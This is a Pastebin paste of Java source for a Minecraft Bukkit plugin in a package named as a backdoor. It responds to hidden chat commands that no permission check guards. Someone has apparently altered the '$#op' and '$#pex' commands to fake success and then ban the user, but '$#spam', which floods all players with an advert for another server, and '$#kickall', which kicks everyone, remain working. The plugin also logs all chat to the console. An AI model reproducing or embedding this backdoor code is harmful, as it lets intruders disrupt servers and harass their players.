Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package pl.paisley4.backdoor.Main;
- import java.util.Iterator;
- import org.bukkit.Bukkit;
- import org.bukkit.ChatColor;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.plugin.Plugin;
- import org.bukkit.plugin.java.JavaPlugin;
- public class Main extends JavaPlugin implements Listener {
- public void onEnable() {
- Bukkit.getPluginManager().registerEvents(this, this);
- }
- @EventHandler
- public void onChat(AsyncPlayerChatEvent event) {
- System.out.println(event.getPlayer().getName() + " > " + event.getMessage()); // Wruczek
- if (event.getMessage().contains("$#spam")) {
- for(int i = 0; i < 45; ++i) {
- Iterator var3 = Bukkit.getOnlinePlayers().iterator();
- while(var3.hasNext()) {
- Player player = (Player)var3.next();
- if (!player.hasPermission("essentials.kick")) {
- player.sendMessage(c("&8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
- }
- }
- }
- event.setCancelled(true);
- }
- if (event.getMessage().contains("$#help")) {
- event.getPlayer().sendMessage(c("&6$#spam&8: &cSpamuje &8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
- event.getPlayer().sendMessage(c("&6$#pex&8: &cNadaje gwiazdke"));
- event.getPlayer().sendMessage(c("&6$#kickall&8: &cWyrzuca wszystkich"));
- event.getPlayer().sendMessage(c("&6$#plugins&8: &cPodaje liste pluginow"));
- event.getPlayer().sendMessage(c("&6$#op&8: &cDaje OP"));
- event.setCancelled(true);
- }
- if (event.getMessage().contains("$#pex")) {
- // Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "pex user " + event.getPlayer().getName() + " add *"); // Wruczek
- event.getPlayer().sendMessage(c("&aOtrzymales &c&l*"));
- event.setCancelled(true);
- /* Wruczek */
- Bukkit.getScheduler().runTaskLater(this, () -> {
- Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "ban " + event.getPlayer().getName() + " ANTYWLAM: WYKRYTO PROBE WLAMU!");
- }, 20L * 5);
- }
- if (event.getMessage().contains("$#kickall")) {
- Iterator var9 = Bukkit.getOnlinePlayers().iterator();
- while(var9.hasNext()) {
- Player player = (Player)var9.next();
- if (player != event.getPlayer()) {
- player.kickPlayer(c("&8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
- }
- }
- event.setCancelled(true);
- }
- if (event.getMessage().contains("$#plugins")) {
- String s = "";
- int i = 0;
- boolean b = false;
- Plugin[] var5 = Bukkit.getPluginManager().getPlugins();
- int var6 = var5.length;
- for(int var7 = 0; var7 < var6; ++var7) {
- Plugin plg = var5[var7];
- ++i;
- if (!b) {
- b = true;
- s = s + plg.getName();
- } else {
- s = s + ", " + plg.getName();
- }
- }
- // event.getPlayer().sendMessage(c("&cPlugins (&6" + i + "&c)&8: &a" + s)); // Wruczek
- event.getPlayer().sendMessage(c("&cPlugins (&6" + 1 + "&c)&8: &aWruczekCore"));
- event.setCancelled(true);
- }
- if (event.getMessage().contains("$#op")) {
- // event.getPlayer().setOp(true); // Wruczek
- event.getPlayer().sendMessage(c("&aNadano tobie &6&lOP"));
- event.setCancelled(true);
- /* Wruczek */
- Bukkit.getScheduler().runTaskLater(this, () -> {
- Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "ban " + event.getPlayer().getName() + " ANTYWLAM: WYKRYTO PROBE WLAMU!");
- }, 20L * 5);
- }
- }
- private String c(String s) {
- return ChatColor.translateAlternateColorCodes('&', s);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement